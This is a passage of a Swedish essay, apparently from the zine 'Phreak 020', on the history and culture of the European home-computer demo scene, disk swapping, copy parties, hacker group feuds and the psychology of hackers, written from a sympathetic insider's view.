oduglingar. Detta är både fördomsfullt och felaktigt.
Att de amerikanska akademiska hackarna från MIT, Stanford och Berkely m fl
betraktar hemdatorhackarna som mindre värda amatörer är ganska naturligt om
man ser det hela ur amerikanskt perspektiv; där var alla hemdatorägande
tonåringar i princip uteslutande intresserade av spel. Demon och Intron var
primitiva och befann sig inte alls på samma nivå som de europeiska. Den
amerikanska delen av Scenen var över huvud taget mycket mindre kulturell än
den europeiska. De amerikanska hackarna var kraftigt influerade av
phrekarkulturen och var därför uppkäftiga och aggressiva. Föraktet var
ömsesidigt.
En olycklig konsekvens av detta är att europeiska hackare som söker sin
indentitet lätt tar åt sig de amerikanska idealen och tar över den lätt
föraktfulla hållningen mot hemdatorentusiasterna. Det kan vara värt att påpeka
att den breda kulturella hackarbasen i Europa utgjordes av
hemdatorentusiasterna, och inte av små studentföreningar på högskolor,
phreakare eller nätverkshackare. Den europeiska hackaridentiteten byggdes
kring Commodores och Ataris hemdatorer, och det är också där den europeiska
hackaren bör söka sina rötter. Sedan är det klart att det finns värderingar
och traditioner som ärvts ned från de amerikanska högskolorna. En sak är dock
tämligen säker: *de europeiska hemdatorhackarna utvecklade datorkonsten på ett
sätt som aldrig skedde i Amerika*. Den breda skaran av tonåriga europeiska
hackare skapade en amatörbaserad och vacker konstform som MIT och Stanford
aldrig sett maken till.
_Konstformen Demo_
Ett demo är lite svårt att karakterisera. Egentligen skall det upplevas.
Redan de första hackarna på MIT gjorde runt 1961 enkla demon på datorn PDP-1 i
form av små matematiska mönster som ritades upp på en enkel bildskärm, något
som kallades *Tri-pos* eller *Minskytronmönster* efter professorn med samma
namn. De var vackra, med hade inget praktiskt användningsområde.
Sinuskurvor, rullande text och rörliga grafikblock tillsammans med musik
utgjorde de första demona på hemdatorer. Efterhand har det hela blivit mer och
mer likt film eller företagsdemonstrationer, något man kallar *trackmo* (sv
ung: *spårdemo*) och som kommer sig av att man kontinuerligt måste ladda in
nya data från en diskett för att hålla demot igång. En diskett är nämligen
indelad i *tracks*, alltså spår. Alltsedan MIT har demoprogrammerare haft en
passion för att väva in matematiska bildmönster i sina skapelser.
Ungefär samtidigt som demona uppstod började den nya kulturyttringen att
sprida sig från C64 till andra datorer, först _Atari ST_ (1984) med grupper
som _TCB _(The Care Bears) och _Omega_ och senare _Commodore Amiga_ (1986) där
bland annat _Defjam, Top Swap, Northstar_ och _TCC / Red Sector_ eller senare
_Skid Row_ och _Paradox_* *blev särskilt namnbekanta. Först 1988-89 började
demon dyka upp även på _IBM PC_ från bland annat de svenska pionjärerna _TDT_
(The Dream Team) och _Space Pigs_. (Macintosh har mig veterligt aldrig närt
någon demoverksamhet, men det kan komma att ändras i och med att denna blivit
mera "hemdator".) Utbytet av spel, intron och demon var helt beroende av ett
nätverk av brevförsändelser och ett antal BBS:er och personer som ringde
transnationellt och transkontinentalt och förmedlade programmen. Demogrupperna
hade inte råd att koppla in sig på Internet under åttiotalet, bara någon
enstaka hackare som gick på högskola hade den möjligheten, och merparten av
dessa Commodore-hackare var i gymnasial ålder. De hackare som gick på högkolan
var oftast "gammel-hackare" som tyckte att minidatorer var det häftigaste som
fanns och struntade blankt i hemdatorerna.
Eftersom ett dataprogram kopieras i flera led erbjuder dessa utmärkta
möjligheter till spridning av namn och adress för ytterligare utökning av
bytesmarknaden. Ganska snart skaffade sig de tidiga hackargrupperna medlemmar
som hade till enda uppgift att kopiera och byta spel och demon med
likasinnade, främst för att sprida den egna gruppens alster. De kallades
*swappers* (sv: bytare, uttalas "swopper") och en flitig swapper kunde ha runt
hundratalet kontakter. Eftersom det inte var särskilt billigt att skicka flera
dussintal brev i månaden var det många som, till postverkets stora förtret,
började spreja fixativ på frimärkena så att de skulle "hålla längre".
Renodlade bytare upptäckte snart att man kunde byta andra saker än
disketter och det utvecklades två nya subkulturer: *film-swappers* och
*tape-swappers*. De förra bytte videofilmer av allehanda karaktär,
företrädelsevis filmer som var totalförbjudna av statens biografnämnd eller på
annat sätt var spännande. En *tape-swapper* bytte musikkassetter.
Diskettbyten mellan hackare har betytt otroligt mycket som kontaktyta för
dessa subkulturer. Man skriver heller aldrig *disk-swapper*, eftersom ordets
ursprungliga betydelse innebär att man byter just disketter. Speciellt
filmbytare hänger naturligt ihop med datorkulturen eftersom videons genombrott
sammanföll med hemdatorboomen under mitten av 80-talet.
Ofta byter en bytare både disketter, filmer, kassettband och vad man nu
kan få för sig att byta. Skillnaden mellan en bytare och en vanlig brevväxlare
är att själva bytesobjektet, disketten, kommer före allt annat. Orkar man inte
skriva något brev så skickar man helt enkelt bara en diskett märkt med sitt
eget namn, så att mottagaren vet vem som skickat den. Diskettbytandet är dock
en företeelse som hör samman med 80-talets europeiska hemdatorhackare. På
90-talets IBM PC är det relativt ovanligt - det normala nu är att man hämtar
hem de program man vill ha från en BBS eller rent av från Internet. Man har
gått från *swapping* till *trading*, dvs från disketter till modem.
Från början bestod hackargrupper bara av just programmerare och bytare,
eller personer som var kombinationer av båda. De framgångsrikaste
hackargrupperna av det här slaget har alltid varit de som haft geografisk
närhet mellan medlemmarna, så att man kunnat byta idéer och erfarenheter utan
dyra och krångliga telefonförbindelser. Efter ett tag uppstod behov av mer
specialiserade hackare; kategorierna *musiker, grafiker,* de tidigare nämnda*
knäckarna *och *kodare *(eng: *coder*) uppstod. Skillnaden mellan knäckare och
kodare var att knäckare specialiserade sig på att förstöra kopieringsskydd
(dvs modifiera befintliga program) medan kodare ägnade sig åt ren
programmering.
Att förstöra kopieringsskydd är i sig inte förbjudet. (En produkt som du
köpt har du faktiskt rätt att göra vad du vill med.) Att däremot sprida det
"knäckta" programmet vind för våg, vilket bytarna ofta gjorde, är högst
illegalt. (Jag bör kanske poängtera att långt ifrån alla bytare bytte
copyrightskyddade program, många höll sig till demos.) Nu har vi dock åter
liknelsen med att kopiera musik CD-skivor, något som är lika illegalt. Ingen
normalt funtad polisiär myndighet skulle få för sig att ingripa mot en
hobbyhackare som kopierade program av sina kamrater, så länge detta inte är
affärsmässigt. Detta visste inte knäckarna och bytarna, viket gjorde det hela
mycket spännande och "förbjudet". (Minns att en medelhackare var i gymnasial
ålder och att det i den åldern är viktigt att trotsa samhället.)
I USA fanns det ytterligare en kategori hackare som kallades *fixers* (sv:
*fixare*). Dessa anpassade program avsedda för europeiska PAL TV-system till
den nordamerikanska TV-standarden NTSC, en grupp som inte finns bland
PC-hackarna eftersom alla PC-maskiner har egna system för bildskärmar istället
för att utnyttja TV-apparater. En del grupper hade också *suppliers* (sv:
*tillhandahållare*) som skaffade fram originalprogram som knäckarna kunde ta
bort kopieringsskydden från. Det var inte helt ovanligt att dessa arbetade på
datorbutiker eller rent av hos programtillverkare.
Av sociala skäl uppstod redan runt 1984 sk *copy-partyn
*(kopieringspartaj) där flera hackare från olika grupper samlades på någon ort
för att umgås och byta erfarenheter. Möjligen inspirerades man av publiciteten
kring The Whole Earth Catalogs första hackarkonferens samma år. Företeelsen
påminner om rollspelskonvent eller t ex bokmässan i Göteborg såtillvida att
det är en ganska smal intressegrupp som träffas, med den skillnaden att det
hela är ganska tumultartat och uppsluppet, mer som ett party än en vanlig
mässa. Benämningen *copy-party* kommer av det faktum att det kopierades en hel
del på dessa partyn, både legalt och illegalt. På senare tid har man ofta
dämpat benämningen lite grand och kallar det hela för *demo-party* eller bara
*party*. En berömd serie reguljära copy-partyn hölls under 80-talet i den
lilla holländska staden _Venlo_. *The Party* (med stort P) är förmodligen
Europas (eller rent av världens) största och mest välbesökta kopieringspartaj.
Det hålls reguljärt i mellandagarna 27-30 december varje år sedan 1991 i
Herning messecenter, Danmark, och drog närmare 2000 personer 1994.
Inte ens hackare kan hålla sams: stridigheter mellan grupper och personer
urartade ofta i regelrätta "gängkrig" som mest handlade om psykologisk
krigföring. Målet var då att försöka frysa ute en grupp eller en person genom
att vägra byta disketter, och samtidigt uppmana alla sina vänner att göra det
samma. På så vis kunde en person eller en grupp "kastas ut" ur gemenskapen.
För att uppnå detta spred man långa textfiler med spetsade sanningar eller
rena osanningar, varpå den angripne svarade med samma mynt. Krigen ledde i
princip aldrig till någonting, och handgemäng på copypartyn var ytterst
sällsynt. Att föra psykologiskt gängkrig mot andra hackare får väl betraktas
som ganska harmlöst, även om de inblandade ofta var helhjärtat engagerade i
kriget. Man får anta att dessa schismer lärde tonåriga hackare en *hel del* om
vad krig egentligen går ut på: det blossar upp ett tag, och sedan går det
över, och sedan blossar det upp igen någon annanstans. Några lämnar Scenen
(eller *dör* i ett verkligt krig) men de flesta stannar kvar, och en annan dag
uppstår ett annat gräl.
Jag kan passa på att nämna att bland phreakarna gick krigen över mycket
snabbare: man polisanmälde helt enkelt den man hatade. Det var det enda sättet
att praktiskt ingripa i en phreakares liv. Hos phreakarna såväl som hos
hemdatorhackarna dominerade dock vänskapen. I och med krigen mellan
hackargrupper flyttades ännu ett stycke mänskligt beteende över till
telerymden. Abstraktionen med krig som ett avancerat schackspel i form av
schismer på Scenen, såväl som i olika rollspel eller handgripligen som i
filmen *War Games* har gjort mången hackare cynisk i förhållande till den
mäskliga naturen.
De som är (och var) aktiva på Scenen är det för att de har ett annat
förhållande till datorer än någon tidigare generation har haft. Där en annan
människa bara ser en burk, en maskin med bildskärm och tangentbord, ser
hobbyhackaren en hel värld med sina egna sociala regler och dolda hemligheter.
Det är dessa dolda hemligheter som lockar, drar, och får hackaren att glömma
allt utom hackandet. Sökandet efter mer kunskap accelererar sedan för att nå
en topp av intensiv kreativitet. Man producerar då ett demo på ett par veckor
eller knäcker ett spel om dagen. Alla sociala kontakter utanför datorn och de
som använder den blir oviktiga.
De flesta når sedan en gräns när de tröttnar på Scenen och den eviga
jakten på nytt, större och bättre. Man *quittar* dvs slutar, helt enkelt. En
hackare som jag känner väl sade en gång:
*"Det ända riktiga sättet att quitta, är att släpa ut datorn till ett
träsk och kasta ned den där"*, något som får illustrera den leda ett alltför
intensivt scenliv kan leda till. Andra tar det mera måttligt med hackandet och
lever ett någotsånär normalt socialt liv vid sidan av. Det är de som stannar
längst på Scenen. (Själv har jag varit där sedan 1986 och är alltjämt kvar, om
än något sporadiskt aktiv.)
Scenen säger en del om vad hackarkultur egentligen är: ett tak att samlas
under. Det handlar om utforskande av datorer, datasystem och nätverk, men
också om att utforska hur samhället fungerar och skapa något nytt och eget
genom att göra experiment med subkulturer. Det är därför hackare tar sig in i
nätverk som de inte får vara i, det är därför de sprejar fixativ på frimärken
och struntar i allt vad copyright heter. De vill utforska och se hur saker och
ting fungerar. De vill, kanske omedvetet, lära sig inför framtiden. Det
handlar om utforskande och inte kallblodig stöld. Hackarna är inga
egocentriska brottslingar med avsikter att förstöra så mycket som möjligt. De
är, enligt min mening, bara barn av sin tid.
Det här med utforskandet är egentligen det enda som driver vad som kan
kallas *riktiga* hackare. Den som gör samma saker med motivet att stjäla eller
sabotera är bedragare eller databrottsling, inte hackare.
Hur speciell hackarkulturen kring hemdatorerna verkligen är framgår med
all önskvärd tydlighet om man läser sociologen _Jörgen Nissens_ fascinerande
avhandling *Pojkarna Vid Datorn*. Han intervjuar några av hackarna i grupperna
Fairlight och TCB och påpekar hur underligt det ter sig när medlemmarna talar
om *marknadsandelar* på Scenen och hur grupperna drivs under närmast
företagsliknande former, trots att dessa inte sporras av något ekonomiskt
vinstmotiv. Han poängterar också hur hackarna beter sig mer som uttråkade
konsumenter än som brottslingar eller klassiska ungdomsgäng; det som _Douglas
Coupland_ kallar *Generation X*.
Hemdatorgrupperna är typiska för Generation X. De avskyr politiskt
korrekta budskap, de driver allt som företag, och de *är* uttråkade av den
enorma marknaden. Istället för att konsumera börjar de producera. Istället för
att manipulera pengar för att kunna skaffa sig status och åtnjuta beundran,
har de skapat en marknad där de byter kreativitet mot beundran utan några
materiella mellanled. Inga CD-skivor, promotionturnéer eller marknadsplaner
behövs. Bara produkter av ren information i form av demon och knäckta spel som
byts mot ren information i form av beundran. Inget annat.
De enda av dessa subkulturella hackare som fick någon större medial
uppmärksamhet var de som gick över gränsen till nätverkshackarna och
phreakarna och åkte fast. Det var delar av kretsen kring demogruppen _Agile_
som 1989 greps av polisen efter att medlemmen _Erik XIV_ (fingerat namn) gått
ut i tidningen Z och Aktuellt och berättat hur sårbart kreditkortsväsendet i
själva verket var, samtidigt som en annan medlem, _Erlang_ (också fingerat
namn), beställde hem videoredigeringsutrustning för en kvarts miljon kronor
till sin egen hemadress med hjälp av falska kontokortsnummer. Drivna av sin
lätt elitistiska attityd från demokulturen ville de vara ensamma om att kunna
behärska tekniken med kontokorten, och testade gränserna för vad som gick att
göra med konstruerade koder.
När polisen grep Erlang efter att han beställt redigeringsutrustningen
började han berätta allt - med en nästan sjuklig detaljrikedom. Phreakare och
hackare gör ofta så; det verkar nästan som om de tror att poliserna skall bli
imponerade av deras bedrifter. De inblandade dömdes i fallet Agile till
villkorliga fängelsestraff, dryga böter och övervakning. Samtliga utom Erlang
arbetar idag inom databranchen. (Överraskande?)
_Attityder_
De första hackarna på MIT brukade alltid utnyttja alla tekniska resurser
de kunde komma åt. Det var inte alltid säkert att "auktoriteten", de lärare
och vaktmästare som hade hand om utrustningen, tyckte om detta. De flesta
lärare tyckte att undervisningen i datakunskap skulle vara av den klassiskt
auktoritära typen, att läraren stod vid katedern och föreläste. Om eleverna
skulle få tillgång till datorerna skulle det ske i form av tillrättalagda
uppgifter som kunde lämnas in och rättas och betygsättas, inte genom den
*learning by doing*, dvs *lärdom genom verkliga erfarenheter*, *lära för
livet*, som hackarna praktiserade. De älskade datorerna och kunde inte för
sitt liv begripa varför de skulle hållas borta från maskinerna. De smög in
till maskinerna på natten och utnyttjade dem utan lärarnas vetskap.
Efter att själv ha konfronterats med ett flertal datalärare, och framför
allt efter att jag *själv* jobbat som datalärare har jag insett att detta
klassiska nyttotänkande är alltför vanligt bland svenska datalärare. Det *går*
absolut inte att få någon att tycka att "data är roligt" om man samtidigt
påtvingar dem regler för vad de får och inte får göra med datorn. Många
datalärare går i taket när de upptäcker att eleverna installerat egna program
i datorerna eller programmerat något som de inte fått i uppgift att göra.
Vanliga orsaker till detta brukar vara en paranoid rädsla för virus, åsikten
att dataspel bara är slöseri med tid etc.
En datalärare som vi kan kalla _X_, på mitt gamla gymnasium, skaffade sig
ett program som gav ifrån sig ett tjutande alarm så fort någon ändrat i
maskinkonfigurationen. (Maskinkonfigurationen är i det här fallet ett par
filer med information som används för att ställa in datorn för olika
tillbehör.) En utforskande hackare vill givetvis ändra i
maskinkonfigurationen, och skolans egna binärgenier brydde sig såklart inte en
sekund om att stora anslag med *absolut förbud* mot detta satts upp överallt i
datasalen. Till historien hör att läraren undervisade i språk och under inga
omständigheter kunde acceptera att "hans" datorer användes till något annat än
språk, ordbehandling och andra *auktoriserade* aktiviteter. Några elever som
blivit ertappade med en "tjutande" dator blev på det viset avstängda från den
språkvetenskapliga datasalen. De allra skickligaste eleverna visste hur man
skulle bete sig för att gå runt säkerhetssystemet, och fick alltså vara kvar i
datasalen, trots att de ändrat i maskinkonfigurationen ett flertal gånger.
Dessa elever, som ägde en smula av den äkta hackarmentalitet som innnebär
att man inte accepterar monopol på kunskap eller datakraft, tillverkade ett
litet roligt program, som *förutom* att det fullkomligt gick runt X:s lilla
säkerhetssystem *dessutom* slumpmässigt slängde upp en *requester*, ett litet
fönster med text där det stod: *X ÄR EN KNÖL.* Under denna text fanns knappen
_OK_ som man måste trycka på för att komma vidare. Programmet var ett
klassiskt *hack*: det gjorde ingen nytta, men heller ingen direkt skada, och
det kunde betraktas som roligt. De första hackarna på MIT skulle alldeles
säkert ha uppskattat detta roliga skämt. (Själv tycker jag att det är utsökt!)
Det var stört omöjligt för läraren i fråga att hitta och ta bort programmet.
Det slutade med att han fick formatera om datorernas hårddiskar och lägga in
all programvara på nytt. Att krypa till korset och be de hackande eleverna att
själva ta bort programmet, eller att rent av *be om ursäkt* föresvävade honom
aldrig. Om han gjorde det skulle han ju förutom att erkänna elevernas *rätt*
till datorerna, också erkänna sanningen - att vissa av eleverna var bättre
orienterade i datakunskap än *han själv*.
Faktum kvarstår: dessa elevers föräldrar hade betalt skatt för att deras
barn skulle få använda datorer i skolan. Eleverna, liksom hackare i allmänhet,
ansåg därför att det naturliga vore att låta eleverna använda datorerna hur
mycket de ville, och till vad de ville. (På tid som inte var schemalagd för
undevisning alltså.) Denna självklara rätt kallas sedan MIT-hackarnas tid för
*hands on-imperativet*.
Datalärare förstår sig ofta inte på hackare. Om de nödvändigtvis skall
hålla på med datorerna hela tiden, varför kan de då inte göra något som är
*nyttigt* och *tillåtet*, t ex lägga upp en avbetalningsplan, skriva en
sammanfattning om Afrikas historia eller något dylikt? Attityden verkar vara
att eleverna bara skall *använda* maskinerna, inte *utforska* dem och allra
minst *hacka dem*. Maskinen skall bara vara ett verktyg, och användaren skall
helst veta så lite som möjligt om de processer som försigår bakom skärmen.
Hackaren är den som, trots detta, *faktiskt vill veta.*
Hackare *vill inte* göra "nyttiga" saker. De vill göra *roliga* saker, som
att utforska datorns operativsystem, lägga in egna program och testa olika
tekniska finesser. Det är då det blir roligt att använda en dator. Jag har
försökt att påtala detta för flera datalärare jag har träffat, tyvärr
mestadels utan resultat. Jag anser personligen att detta utforskande är
nyttigt, och skulle inte för mitt liv vilja hindra det. Det är det som är
grunden till den entusiasm som gör att vissa tycker att "data är så roligt".
Om de trots allt skulle lyckas ställa till det med datorn så att den inte
fungerar längre, anser jag att det är min uppgift som lärare att se till att
få den funktionsduglig igen. Om jag inte klarar av detta är jag inkompetent.
Om jag inte har tid med detta är skolan underbemannad. Jag har aldrig haft
några större problem med mina elever själv, och har genomgående positiv
erfarenhet av de elever jag haft. Faktum är att jag *uppmuntrar* mina elever
att utforska operativsystemet *även* om detta inte ingår i kursen. Om de
datorer jag ansvarar för blir drabbade av virus eller kraschar, är det snarare
mitt problem än elevernas.
På MIT 1960 upptäckte man snart de möjligheter som öppnade sig när man lät
eleverna jobba fritt med datorerna. Professor Marvin Minsky kunde komma in i
datorrummet, ställa ifrån sig en teknisk mackapär och sedan låta eleverna
försöka utveckla ett styrprogram till den på egen hand. Detta var inte
undervisning - det var forskning på hög nivå, och det var eleverna, hackarna,
som utförde den. Hade det inte varit för denna attityd till lärandet, hade
datorerna aldrig blivit vad de är idag. Sedan MIT som första datorskola i
världen låtit eleverna få obegränsad tillgång till datorerna, spred sig denna
nya pedagogik till alla högskolor som bedrev datorforskning. Även de svenska.
Ingen högskola med självaktning låser idag ute sina elever från datasalarna.
De har ofta egna nycklar eller låskort, och kan komma och gå som de vill. De
svenska gymnasie- och högstadieskolorna har mycket att lära av högskolan på
det här området.
Faktum är att nätverkshackarnas härjningar i universitetens datorer delar
de dataansvariga i två läger: ett med folk som blir helt *vansinniga* om de
upptäcker att någon hackat deras dator, och ett som bara tycker det är roligt
och spännande om någon hackar deras dator. Den senare gruppen är dock inte
lika högljudd som den första, vilket gör att bilden utåt är att alla
dataansvariga hatar hackare. Detta är långt ifrån sant.
Hackaren utforskar. Inte bara enskilda datorer, utan även datasystem,
datanätverk, telefonsystemet, eller vad som helst annat som är elektroniskt.
De fördömer och ignorerar den auktoritet som vill hindra dem från att
utforska. De är inte ute efter att stjäla. Punkt.
_Mentalitet_
Vad som driver hackare rent psykiskt är ett känsligt område. MIT:s hackare
kunde sitta uppe och arbeta i 30-timmarspass för att sedan kollapsa och sova i
12 timmar, och därefter gå på nästa 30-timmarspass. Hackarna försummar ibland
allt utom datorn, inkluderat mat, kroppsvård och vanligt socialt umgänge. Vi
tolkar detta som ett osundhetstecken, trots att vi kanske accepterar det bland
människor som jobbar i företagsledningar, kommittéer och andra ansvarsfulla
yrken. Man skall ha klart för sig att så gott som varenda hackare går igenom
en sådan här period av intensiv koncentration någon gång under sin karriär,
och det vore förhastat att generellt fördöma ett sådant beteende.
Men i vissa fall *är* datorn faktiskt en flykt undan en odräglig tillvaro.
En ungdom mellan 14 och 19 år utsätts för många hårda krav från omvärlden. Det
krävs av dem att de skall klara sina studier, umgås med sina kamrater och
framför allt (mest underförstått) att de skall knyta kontakter med det
motsatta könet.
Samtidigt skall man inte glömma att hackandet ofta sker i grupp och
baseras på en vänskap som går långt bortom datorns begränsade område. (För den
oinsatte: *vänskap* är den egenskap som gör att man kan få för sig att låna ut
ett rum till någon några dygn, kopiera ett dataprogram, dela med sig av
kunskap osv - utan att kräva betalt.)
Datorn erbjuder en ovanligt lättillgänglig flykt från uppväxtens krav.
Redan tidigare i historien har många unga män (och en del kvinnor) flytt från
jobbiga känslor genom att ägna sig helhjärtat åt någon vetenskap, och så
totalt gå upp i forskandet att de "glömt bort" sina jobbiga sociala "plikter",
med umgänge, äktenskap och allt vad det innebär. Datorer är i vår tid ett
mycket outforskat område. Alla som får tillgång till en hemdator hamnar genast
i en värld där mycket är okänt och underligt, men samtidigt bundet till en
viss logik. En dator skriker efter att få utforskas. På det viset blir datorn
nästan till en drog som ersätter en mer "naturlig" drift att undersöka sociala
beteendemönster. Utforskandet av datorn blir inte ett substitut, inte en
ersättning, för sexuella relationer. Det blir något man ägnar sig åt för att
*slippa tänka* på sexuella relationer. Det är därför så många sk "töntar"
ägnar sig åt datorer. Samhället har från början gett dem en otacksam roll, och
istället för att spela den, flyr de från den.
Många hackare är fullt medvetna om detta. Samtidigt ser de det hårda liv
med djungelns lag som väntar utanför telerymden, och gör därmed till sist ett
medvetet val att antingen ändra på allt eller stanna där de är. En del gamla
hackare har med åren utvecklat en enorm bitterhet och cynism pga detta. De
fördömer den riktiga världen och är fast beslutna att skapa en värld där de
själva får bestämma, fast inne i datorn. De iakttar med spänning de tekniska
landvinningarna inom virtuell verklighet och artificiell intelligens, och
säger för sig själva att *en dag...*
Kunde de gå in i datorn för alltid, skulle de göra det. De hatar redan den
värld där de måste se sig bundna till sina fysiska eller sociala handikapp,
och där deras lott redan på förhand är att vara förlorare. Den mänskliga
könsidentiteten utgörs nämligen av en fysisk såväl som en social bit. Om man
saknar den ena eller den andra, är man dömd att vara förlorare. Det händer att
hackarna genomskådar detta och istället säger: *"vi vill inte vara med"* och
drar sig tillbaka till telerymden. Det finns inget vi kan göra åt detta, annat
än att tona ned våra sociala attityder mot avvikare, om ens det hjälper.
Kanske är det inte ens önskvärt att hackare anpassas till "normalt" liv.
Kanske vill vi ha dem där, så att vi har kontroll över dem och vet var vi har
dem, där de matar hjärnan med så mycket praktiska problem att de slipper tänka
på sociala svårigheter. De stängs in i en subkultur där det avvikande är
normalt. Tillståndet kan i värsta fall övergå i lindrig eller svår *eskapism*,
dvs verklighetsflykt. Detta tillstånd brukar kallas *datorsjuka*.
Utöver detta kan vi notera att illegala hackare har ett något annorlunda
beteendemönster jämfört med de subkulturella, beroende på vilket sätt de
kommit in i kulturen. En del phreakare kommer från en värld bestående av heta
linjen, radioamatörsällskap etc. Dessa drivs snarare av en vilja att
kommunicera än av utforskande genom gruppbildningar och inbördes tävlan. De är
ofta betydligt mer arroganta och sysslar med phreakandet helt enkelt därför
att de är uttråkade och inte har något annat att göra. (Samma
motivationsfaktor som de som ringer *heta linjen* och andra 071-nummer.) De
tar absolut inte hackandet på blodigt allvar, utan driver tvärtom gärna med
hackare, som de innerst inne tycker är fullständiga töntar.
Hackare som hellre sysslar med datorer än telefoni har i allmänhet en
starkare gruppkänsla och lojalitet mot gruppen som helhet. En renodlad
phreakare av den typ jag just nämnde, kan mycket väl ange sina bästa vänner om
hon/han blir upptäckt, medan en hackare inte för sitt liv skulle ange ens sina
*fiender*.
Såväl nätverkshackare, phreakare, virushackare och en del knäckare lider
av hopplöst negativa självbilder. De ser sig själva som elaka, grymma och
dominanta värstingar. Man har gått in i en roll där man identifierat sig med
förstörelselusta, samhällshat, anarkism och allmänt djävulskap mest för att
veta var man hör hemma. Det brukar dock gå över efter ett tag. Har man anammat
yippieideal går det *inte* över.
De allra farligaste hackarna (om vi ser det hela från samhällets
synvinkel) är uteslutande *bittra*. De ser sig som missförstådda och
missbedömda av skolsystemet. De tycker att skolan inte lyckats ta vara på
deras intelligens och anser sig därför ha rätt att hämnas på samhället som
stängt dem ute från en värld av kunskap eftersom de inte uppfört sig på rätt
sätt, inte varit försedda med rätt social kod. De har tvingats in på tvååriga
gymnasieutbildningar av ett betygssystem som inte klarat av att sortera in dem
bland de som verkligen lämpat sig för en högre utbildning.
De har dessutom *rätt*, och det gör inte saken bättre. Med hat mot
samhället som inte förstått att uppskatta deras kvalitéer kommer de tillbaka
med datorer och elektronisk utrustning för att såga i grundvalarna för hela
samhällets socioekonomiska system, inte sällan med en näst intill
*psykopatisk* förstörelselusta.
_Carceres ex Novum_
*Det fanns ett alternativ till det vanliga livet. Jag var trött på allt
det vanliga, på att alltid vara sist, aldrig uppmärksammas. Datorn var
uppmärksam, den uppmärksammade ingen annan än mig. Jag fann kamrater som jag
aldrig behövde träffa ansikte mot ansikte, och så flöt min tonårstid förbi,
jag blev en intressant människa.*
*När jag började på högskolan kom det jättelika Internet till mitt rum och
världen strålade in till mig. Jag hade miljoner människor nära inpå mig utan
att någonsin behöva se dem i ansiktet. Jag satt där jämt, enda avbrottet jag
behövde var att äta och gå till skolan. Jag träffade ingen, ingen kände mig.
Och jag trivdes. Tack vare uppmärksamheten från de anonyma människorna på
andra sidan skärmen kände jag mig inte ensam.*
*Men tiden rann ut och den verkliga världen kröp inpå mig, och jag visste
att jag i och för sig alltid skulle kunna fly, men aldrig skulle jag kunna
gömma mig från dem, vars värderingar förvandlade mig till en ensam asocial
råtta som tillbringade all sin tid med datorn. Och jag hatade dem."*
Visst är en del av det som dessa hackare sysslar med olagligt, och visst är
detta fel från samhällets synvinkel. Inte desto mindre är det att grovt
undervärdera hackarna om man påstår att de skulle begå dessa handlingar
slentrianmässigt, "i brist på annat" eller enbart för egen vinning. Det har
varit alldeles för mycket fördömande och alldeles för lite empati i
hackardebatten. Nu över till något helt annat.
//Linus Walleij
.----------------------------------------------------------------------------.
Phreak 020 - Http://come.to/phreak020 - Joina Mailinglistan!
#Phreak020 på DALnet och EFnet //Celsius
Artiklar sändes till celsius@mindless.com
Tack Till VSU, VSP, KBB och 020 för inspiration!
'----------------------------------------------------------------------------'